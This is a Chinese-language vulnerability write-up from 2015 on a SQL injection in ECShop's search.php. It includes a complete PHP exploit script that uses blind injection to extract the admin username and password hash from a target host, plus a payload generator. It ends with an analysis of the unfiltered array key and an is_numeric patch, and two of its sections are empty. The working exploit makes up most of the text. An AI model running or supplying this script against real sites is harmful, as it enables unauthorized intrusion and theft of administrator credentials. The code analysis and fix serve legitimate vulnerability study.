ecshop /search.php SQL Injection Vul

Andrew.Hann發表於2015-05-23

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

ECSHOP商城系統Search.php頁面過濾不嚴導致SQL隱碼攻擊漏洞

Relevant Link:

http://sebug.net/vuldb/ssvid-62317


2. 漏洞觸發條件

0x1: POC

<?php
    ini_set("max_execution_time",0);
    error_reporting(7);
     
    function usage()
    {
        global $argv;
        exit(
        "\n--+++============================================================+++--".
        "\n--+++====== ECShop Search.php SQL Injection Exploit========+++--".
        "\n--+++============================================================+++--".
        "\n\n[+] Author: jannock".
        "\n[+] Team: [url]http://wavdb.com/[/url]".
        "\n[+] Usage: php ".$argv[0]." <hostname> <path> <goods_id>".
        "\n[+] Ex.: php ".$argv[0]." localhost / 1".
        "\n\n");
    }
     
    function query($pos, $chr, $chs,$goodid)
    {
        switch ($chs)
        {
            case 0:
                $query = "1=1";
                break;
            case 1:
                $query = " ascii(substring((select user_name from ecs_admin_user limit
                0,1),{$pos},1))={$chr}";
                break;
            case 2:
                $query = " ascii(substring((select password from ecs_admin_user limit
                0,1),{$pos},1))={$chr}";
                break;
            case 3:
                $query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";
                break;
        }
        $list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' union select $goodid,1 from ecs_admin_user where 1=1 and ". $query ."/*"=>"1");
        $query = array("attr"=>$list);
        $query = str_replace('+', '%2b', base64_encode(serialize($query)));
        return $query;
    }
     
    function exploit($hostname, $path, $pos, $chr, $chs,$goodid)
    {
        $chr = ord($chr);
        $conn = fsockopen($hostname, 80);
         
        $message = "GET ".$path."/search.php?encode=".query($pos, $chr, $chs,$goodid)." HTTP/1.1\r\n";
        $message .= "Host: $hostname\r\n";
        $message .= "Connection: Close\r\n\r\n";
         
        fwrite($conn, $message);
        while (!feof($conn))
        {
            $reply .= fgets($conn, 1024);
        }
        fclose($conn);
        return $reply;
    }
     
     
    function crkusername($hostname, $path, $chs,$goodid)
    {
        global $length;
        $key = "abcdefghijklmnopqrstuvwxyz0123456789";
        $chr = 0;
        $pos = 1;
        echo "[+] username: ";
        while ($pos <= $length)
        {
            $response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid); 
            if (preg_match ("/javascript:addToCart/i", $response))
            {
                echo $key[$chr];
                $chr = 0;
                $pos++;
            }
            else
                $chr++;
        }
        echo "\n";
    }
     
    function crkpassword($hostname, $path, $chs,$goodid)
    {
        $key = "abcdef0123456789";
        $chr = 0;
        $pos = 1;
        echo "[+] password: ";
        while ($pos <= 32)
        {
            $response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);
            if (preg_match ("/javascript:addToCart/i", $response))
            {
                echo $key[$chr];
                $chr = 0;
                $pos++;
            }
            else
                $chr++;
        }
        echo "\n\n";
    }
     
    function lengthcolumns($hostname, $path,$chs, $goodid)
    {
        echo "[+] username length: ";
        $exit = 0;
        $length = 0;
        $pos = 1;
        $chr = 0;
        while ($exit==0)
        {
            $response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);
            if (preg_match ("/javascript:addToCart/i", $response))
            {
                $exit = 1;
                $length = $pos;
                break;
            }
            else
            {
                $pos++;
                if($pos>20)
                {
                    exit("Exploit failed");
                }
            }
        }
        echo $length."\n";
        return $length;
    }
     
     
    if ($argc != 4)
        usage();
    $hostname = $argv[1];
    $path = $argv[2];
    $goodid = $argv[3];
    $length = lengthcolumns($hostname, $path, 3, $goodid);
    crkusername($hostname, $path, 1,$goodid);
    crkpassword($hostname, $path, 2,$goodid);
 
?>

可自行構造encode的值進行注入

<?php
    $list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' /*"=>"yy");
    $string = array("attr"=>$list);
    $string = str_replace('+', '%2b', base64_encode(serialize($string)));
    die($string);
?> 

Relevant Link:

http://sebug.net/vuldb/ssvid-68687


3. 漏洞影響範圍
4. 漏洞程式碼分析

/search.php

..
$string = base64_decode(trim($_GET['encode']));   //37行
..
//addslashes_deep 只能引數值進行過濾
$_REQUEST = array_merge($_REQUEST, addslashes_deep($string));   //69行
..
if (!empty($_REQUEST['attr']))
{
    $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
    foreach ($_REQUEST['attr'] AS $key => $val)
    {
        if (is_not_null($val))
        {
            $attr_num++;
            $sql .= " OR (1 ";

            if (is_array($val))
            {
                //$key是$_REQUEST['attr'] 的鍵值,就是這裡沒有過濾,直接進入SQL查詢,造成SQL隱碼攻擊漏洞
                $sql .= " AND attr_id = '$key'";

Relevant Link:

http://sebug.net/vuldb/ssvid-19640


5. 防禦方法

/search.php

if (!empty($_REQUEST['attr']))
{
    $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
    foreach ($_REQUEST['attr'] AS $key => $val)
    {
        /* 對key值進行注入判斷 is_numeric($key)*/
        if (is_not_null($val) && is_numeric($key))
        {


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章